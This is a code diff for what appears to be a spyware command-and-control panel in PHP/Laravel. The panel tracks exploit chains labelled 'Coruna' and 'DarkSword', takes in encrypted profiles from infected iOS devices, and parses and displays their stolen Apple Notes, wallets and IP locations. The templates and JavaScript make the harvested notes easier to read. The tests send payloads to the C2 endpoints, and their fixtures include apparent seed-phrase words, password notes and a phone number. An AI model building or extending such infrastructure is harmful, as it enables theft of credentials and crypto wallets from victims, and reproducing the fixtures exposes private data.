<td>{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<th>钱包</th>
|
<th>钱包</th>
|
||||||
@@ -196,6 +196,10 @@
|
|||||||
<div id="LAY-photo-grid" class="photo-grid"></div>
|
<div id="LAY-photo-grid" class="photo-grid"></div>
|
||||||
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
||||||
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
||||||
|
@elseif ($tab === 'notes')
|
||||||
|
<div id="LAY-note-cards"></div>
|
||||||
|
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
|
||||||
|
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
|
||||||
@else
|
@else
|
||||||
@if ($tab === 'wallets')
|
@if ($tab === 'wallets')
|
||||||
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
|
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
|
||||||
@@ -446,6 +450,47 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (tab === 'notes') {
|
||||||
|
var noteState = { page: 1, limit: 20 };
|
||||||
|
var renderNotes = function () {
|
||||||
|
$.getJSON(tabDataUrl, {
|
||||||
|
tab: 'notes',
|
||||||
|
page: noteState.page,
|
||||||
|
limit: noteState.limit
|
||||||
|
}, function (res) {
|
||||||
|
var $list = $('#LAY-note-cards').empty();
|
||||||
|
var items = (res && res.data) ? res.data : [];
|
||||||
|
if (!items.length) {
|
||||||
|
$('#LAY-note-empty').show();
|
||||||
|
} else {
|
||||||
|
$('#LAY-note-empty').hide();
|
||||||
|
items.forEach(function (it) {
|
||||||
|
var $card = $('<div class="note-card"></div>');
|
||||||
|
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
|
||||||
|
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
|
||||||
|
$list.append($card);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
laypage.render({
|
||||||
|
elem: 'LAY-note-page',
|
||||||
|
count: (res && res.count) ? res.count : 0,
|
||||||
|
curr: noteState.page,
|
||||||
|
limit: noteState.limit,
|
||||||
|
limits: [10, 20, 30, 50],
|
||||||
|
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
||||||
|
jump: function (obj, first) {
|
||||||
|
if (first) return;
|
||||||
|
noteState.page = obj.curr;
|
||||||
|
noteState.limit = obj.limit;
|
||||||
|
renderNotes();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
};
|
||||||
|
renderNotes();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
var colsMap = {
|
var colsMap = {
|
||||||
wallets: [[
|
wallets: [[
|
||||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||||
@@ -499,13 +544,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
|
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
|
||||||
} }
|
} }
|
||||||
]],
|
]],
|
||||||
notes: [[
|
|
||||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
||||||
{ field: 'content', title: 'Content', minWidth: 320, templet: function (d) {
|
|
||||||
return d.content ? '<span class="wrap">' + esc(d.content) + '</span>' : '—';
|
|
||||||
} },
|
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
|
||||||
]],
|
|
||||||
events: [[
|
events: [[
|
||||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
<div class="layui-card-body">
|
<div class="layui-card-body">
|
||||||
<table id="LAY-note-list" lay-filter="LAY-note-list"></table>
|
<table id="LAY-note-list" lay-filter="LAY-note-list"></table>
|
||||||
<script type="text/html" id="LAY-note-ops">
|
<script type="text/html" id="LAY-note-ops">
|
||||||
|
<a class="layui-btn layui-btn-xs" lay-event="view">查看</a>
|
||||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
@@ -31,12 +32,40 @@
|
|||||||
|
|
||||||
@push('scripts')
|
@push('scripts')
|
||||||
<script>
|
<script>
|
||||||
layui.use(['table', 'form'], function () {
|
layui.use(['table', 'form', 'layer'], function () {
|
||||||
var table = layui.table, form = layui.form;
|
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||||
var dash = function (v) {
|
var esc = function (v) {
|
||||||
if (!v) return '—';
|
return String(v == null ? '' : v)
|
||||||
return v.length > 120 ? v.slice(0, 120) + '…' : v;
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"');
|
||||||
|
};
|
||||||
|
var openNotes = function (d) {
|
||||||
|
var items = d.items || [];
|
||||||
|
var $wrap = $('<div class="note-drawer" style="padding:12px 16px;"></div>');
|
||||||
|
if (!items.length) {
|
||||||
|
$wrap.append($('<div style="color:#999;"></div>').text('暂无备忘录'));
|
||||||
|
} else {
|
||||||
|
items.forEach(function (it) {
|
||||||
|
var $card = $('<div class="note-card"></div>');
|
||||||
|
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
|
||||||
|
if (it.body && it.body !== it.title) {
|
||||||
|
$card.append($('<pre class="note-card-body"></pre>').text(it.body));
|
||||||
|
} else if (it.body) {
|
||||||
|
$card.append($('<pre class="note-card-body"></pre>').text(it.body));
|
||||||
|
}
|
||||||
|
$wrap.append($card);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
layer.open({
|
||||||
|
type: 1,
|
||||||
|
title: '备忘录 · ' + (d.device_key || d.id) + '(' + items.length + ' 条)',
|
||||||
|
area: ['720px', '80%'],
|
||||||
|
shadeClose: true,
|
||||||
|
content: $wrap.prop('outerHTML')
|
||||||
|
});
|
||||||
};
|
};
|
||||||
table.render({
|
table.render({
|
||||||
elem: '#LAY-note-list',
|
elem: '#LAY-note-list',
|
||||||
@@ -44,11 +73,14 @@ layui.use(['table', 'form'], function () {
|
|||||||
url: @json(route($portal.'.notes.data')),
|
url: @json(route($portal.'.notes.data')),
|
||||||
cols: [[
|
cols: [[
|
||||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||||
{ field: 'device_key', title: '设备 ID', width: 150 },
|
{ field: 'device_key', title: '设备 ID', width: 170 },
|
||||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
{ field: 'channel_id', title: '渠道 ID', width: 140, templet: function (d) { return d.channel_id ? '<code>' + esc(d.channel_id) + '</code>' : '—'; } },
|
||||||
{ field: 'content', title: '内容', minWidth: 280, templet: function (d) { return dash(d.content); } },
|
{ field: 'item_count', title: '条数', width: 80, align: 'center' },
|
||||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
{ field: 'preview', title: '预览', minWidth: 280, templet: function (d) {
|
||||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
|
return d.preview ? '<span class="note-preview">' + esc(d.preview) + '</span>' : '—';
|
||||||
|
} },
|
||||||
|
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||||
|
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
|
||||||
]],
|
]],
|
||||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||||
request: { pageName: 'page', limitName: 'limit' },
|
request: { pageName: 'page', limitName: 'limit' },
|
||||||
@@ -59,6 +91,10 @@ layui.use(['table', 'form'], function () {
|
|||||||
return false;
|
return false;
|
||||||
});
|
});
|
||||||
table.on('tool(LAY-note-list)', function (obj) {
|
table.on('tool(LAY-note-list)', function (obj) {
|
||||||
|
if (obj.event === 'view') {
|
||||||
|
openNotes(obj.data);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (obj.event !== 'detail') return;
|
if (obj.event !== 'detail') return;
|
||||||
var url = obj.data.detail_url;
|
var url = obj.data.detail_url;
|
||||||
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
||||||
|
|||||||
@@ -92,24 +92,24 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
where: where,
|
where: where,
|
||||||
cols: [[
|
cols: [[
|
||||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
{ field: 'channel_id', title: '渠道', width: 90 },
|
||||||
{ field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
|
{ field: 'chain_label', title: '利用链', width: 110, templet: function (d) {
|
||||||
var ds = Number(d.chain) === 1;
|
var ds = Number(d.chain) === 1;
|
||||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||||
} },
|
} },
|
||||||
{ field: 'client_uid', title: '访客 UID', width: 280 },
|
{ field: 'client_uid', title: '访客 UID', width: 150 },
|
||||||
{ field: 'os', title: '系统', width: 90 },
|
{ field: 'os', title: '系统', width: 80 },
|
||||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
{ field: 'os_version', title: '系统版本', width: 90 },
|
||||||
{ field: 'browser', title: '浏览器', width: 100 },
|
{ field: 'browser', title: '浏览器', width: 90 },
|
||||||
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
{ field: 'ip', title: 'IP', width: 140 },
|
||||||
{ field: 'ip', title: 'IP', width: 130 },
|
|
||||||
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
|
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
|
||||||
return d.country_label || d.country || '—';
|
return d.country_label || d.country || '—';
|
||||||
} },
|
} },
|
||||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
||||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
{ field: 'referer', title: 'Referer', minWidth: 180 },
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
{ field: 'user_agent', title: 'UA', minWidth: 200 },
|
||||||
|
{ field: 'created_at', title: '时间', width: 170, sort: true, fixed: 'right' },
|
||||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
|
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
|
||||||
if (Number(d.chain) !== 1) return '—';
|
if (Number(d.chain) !== 1) return '—';
|
||||||
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
|
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
|
||||||
|
|||||||
@@ -599,7 +599,8 @@ class C2ApiTest extends TestCase
|
|||||||
$this->assertNotNull($note);
|
$this->assertNotNull($note);
|
||||||
$this->assertIsArray($note->content);
|
$this->assertIsArray($note->content);
|
||||||
$this->assertCount(2, $note->content);
|
$this->assertCount(2, $note->content);
|
||||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
$this->assertSame('spawn rabbit unusual favorite yard recipe', $note->content[0]['title'] ?? null);
|
||||||
|
$this->assertStringContainsString('spawn rabbit', $note->content[0]['body'] ?? '');
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use App\Services\CorunaCrypto;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class DeviceCountryTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function xxbb_profile_stores_cf_country_and_show_renders_it(): void
|
||||||
|
{
|
||||||
|
$ts = '1786468227899';
|
||||||
|
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||||
|
'd' => '000C30D83CD0402E',
|
||||||
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||||
|
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||||
|
], $ts);
|
||||||
|
|
||||||
|
$this->call('POST', '/a', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_X_TS' => $ts,
|
||||||
|
'HTTP_CF_IPCOUNTRY' => 'US',
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame('US', $device->country);
|
||||||
|
$this->assertStringContainsString('(美国)', $device->formattedIp());
|
||||||
|
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.devices.show', $device))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('(美国)', false);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function show_falls_back_to_visit_country_when_device_country_empty(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => '000C30D83CD0402E',
|
||||||
|
'ip' => '1.2.3.4',
|
||||||
|
]);
|
||||||
|
PageVisit::query()->create([
|
||||||
|
'channel_id' => '0.0.01',
|
||||||
|
'client_uid' => 'aaaaaaaaaaaaaaaa',
|
||||||
|
'ip' => '1.2.3.4',
|
||||||
|
'country' => 'FR',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertSame('FR', $device->resolvedCountry());
|
||||||
|
$this->assertSame('1.2.3.4(法国)', $device->formattedIp());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Note;
|
||||||
|
use App\Support\NoteContent;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class NoteAdminTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function notes_data_returns_titles_not_raw_json(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => '0001099E0C87802E',
|
||||||
|
'channel_id' => '0.0.01',
|
||||||
|
]);
|
||||||
|
$items = NoteContent::fromList(['芝士账号密码', 'Instagram ']);
|
||||||
|
Note::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'content' => $items,
|
||||||
|
'content_hash' => NoteContent::hash($items),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.notes.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.item_count', 2)
|
||||||
|
->assertJsonPath('data.0.preview', '芝士账号密码 · Instagram')
|
||||||
|
->assertJsonPath('data.0.items.0.title', '芝士账号密码')
|
||||||
|
->assertJsonMissing(['content' => '芝士账号密码']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function device_notes_tab_lists_items(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => '000E71921140C01E']);
|
||||||
|
$items = NoteContent::fromList(['U钱包密码', "密码15889321433zjp\nmore"]);
|
||||||
|
Note::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'content' => $items,
|
||||||
|
'content_hash' => NoteContent::hash($items),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'notes']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2)
|
||||||
|
->assertJsonPath('data.0.title', 'U钱包密码')
|
||||||
|
->assertJsonPath('data.1.title', '密码15889321433zjp');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -244,7 +244,33 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
$note = Note::query()->where('device_id', $device->id)->first();
|
$note = Note::query()->where('device_id', $device->id)->first();
|
||||||
$this->assertIsArray($note->content);
|
$this->assertIsArray($note->content);
|
||||||
$this->assertCount(2, $note->content);
|
$this->assertCount(2, $note->content);
|
||||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
$this->assertSame('spawn rabbit unusual favorite yard recipe', $note->content[0]['title'] ?? null);
|
||||||
|
$this->assertStringContainsString('spawn rabbit', $note->content[0]['body'] ?? '');
|
||||||
|
$this->assertSame('second note line', $note->content[1]['title'] ?? null);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function nb_dedups_identical_list(): void
|
||||||
|
{
|
||||||
|
$payload = [
|
||||||
|
'd' => '000C30D83CD0402E',
|
||||||
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||||
|
'list' => ['alpha note', 'beta note'],
|
||||||
|
];
|
||||||
|
$this->xxbbPost('/nb', $payload)->assertOk();
|
||||||
|
$this->xxbbPost('/nb', $payload)->assertOk();
|
||||||
|
$this->xxbbPost('/nb', [
|
||||||
|
'd' => '000C30D83CD0402E',
|
||||||
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||||
|
'list' => ['alpha note', 'beta note', 'gamma note'],
|
||||||
|
])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||||
|
$note = Note::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertCount(3, $note->items());
|
||||||
|
$this->assertSame('gamma note', $note->items()[2]['title'] ?? null);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Unit;
|
||||||
|
|
||||||
|
use App\Support\NoteContent;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class NoteContentTest extends TestCase
|
||||||
|
{
|
||||||
|
#[Test]
|
||||||
|
public function splits_string_notes_and_strips_apple_notes_junk(): void
|
||||||
|
{
|
||||||
|
$items = NoteContent::fromList([
|
||||||
|
"扫描2\nhello body\n\n(\n(\n \n\$A8917AB7-F855-4E16-A794-B7B8DF44C783com.apple.notes.gallery",
|
||||||
|
['id' => 26, 'mod' => 0, 'title' => '新备忘录', 'snippet' => ''],
|
||||||
|
"密码285591",
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertCount(3, $items);
|
||||||
|
$this->assertSame('扫描2', $items[0]['title']);
|
||||||
|
$this->assertStringContainsString('hello body', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('com.apple.notes.gallery', $items[0]['body']);
|
||||||
|
$this->assertSame('新备忘录', $items[1]['title']);
|
||||||
|
$this->assertSame(26, $items[1]['native_id']);
|
||||||
|
$this->assertSame('密码285591', $items[2]['title']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function hash_is_stable_and_titles_preview(): void
|
||||||
|
{
|
||||||
|
$items = NoteContent::fromList(['alpha', 'beta', 'gamma']);
|
||||||
|
$this->assertSame(NoteContent::hash($items), NoteContent::hash($items));
|
||||||
|
$this->assertSame(['alpha', 'beta'], NoteContent::titles($items, 2));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function drops_empty_junk_only_items(): void
|
||||||
|
{
|
||||||
|
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keeps_title_as_body_when_rest_is_notes_junk(): void
|
||||||
|
{
|
||||||
|
$items = NoteContent::fromList(["spawn rabbit unusual favorite yard recipe\n(R(R"]);
|
||||||
|
$this->assertCount(1, $items);
|
||||||
|
$this->assertSame('spawn rabbit unusual favorite yard recipe', $items[0]['title']);
|
||||||
|
$this->assertSame('spawn rabbit unusual favorite yard recipe', $items[0]['body']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function cuts_attributed_string_suffix(): void
|
||||||
|
{
|
||||||
|
$raw = "8月行事曆\n8.11\n買冬季校服+领夏季校服\n中一适应课程(9:00-11:15)\n<(\n?(\n>(\n{(\nP(!\nR(\"\n[(#\na($\n|(%\n~ ('\nN\n(+\nhבĦ\ncom.apple.drawing.2";
|
||||||
|
$items = NoteContent::fromList([$raw]);
|
||||||
|
$this->assertCount(1, $items);
|
||||||
|
$this->assertSame('8月行事曆', $items[0]['title']);
|
||||||
|
$this->assertStringContainsString('中一适应课程(9:00-11:15)', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('<(', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('P(!', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('com.apple.drawing', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('Ħ', $items[0]['body']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function cuts_ascii_soup_line_after_real_text(): void
|
||||||
|
{
|
||||||
|
$items = NoteContent::fromList(["武汉\n帽子\n泡面\n(210/.-qponmlk+*)('&%\$#\"!"]);
|
||||||
|
$this->assertSame('武汉', $items[0]['title']);
|
||||||
|
$this->assertStringContainsString('泡面', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('qponmlk', $items[0]['body']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function cuts_long_protobuf_alphabet_dump(): void
|
||||||
|
{
|
||||||
|
$raw = "Face à lui...\nJe peux aussi respecter la crainte.\nLouis\n(\u{FFFD}%\u{FFFD}jKKKdcccbaa`]\\V^[QJIHQG>QQFFFQOOOOONNQMMMLLQQQL^DCBA@?~}||{zonlk77777762110/111115443,++8! .--&&\$#*&&&%&1GoB";
|
||||||
|
$items = NoteContent::fromList([$raw]);
|
||||||
|
$this->assertSame('Face à lui...', $items[0]['title']);
|
||||||
|
$this->assertStringContainsString('Je peux aussi respecter la crainte.', $items[0]['body']);
|
||||||
|
$this->assertStringContainsString('Louis', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('KKKdcccbaa', $items[0]['body']);
|
||||||
|
$this->assertStringNotContainsString('zonlk777', $items[0]['body']);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user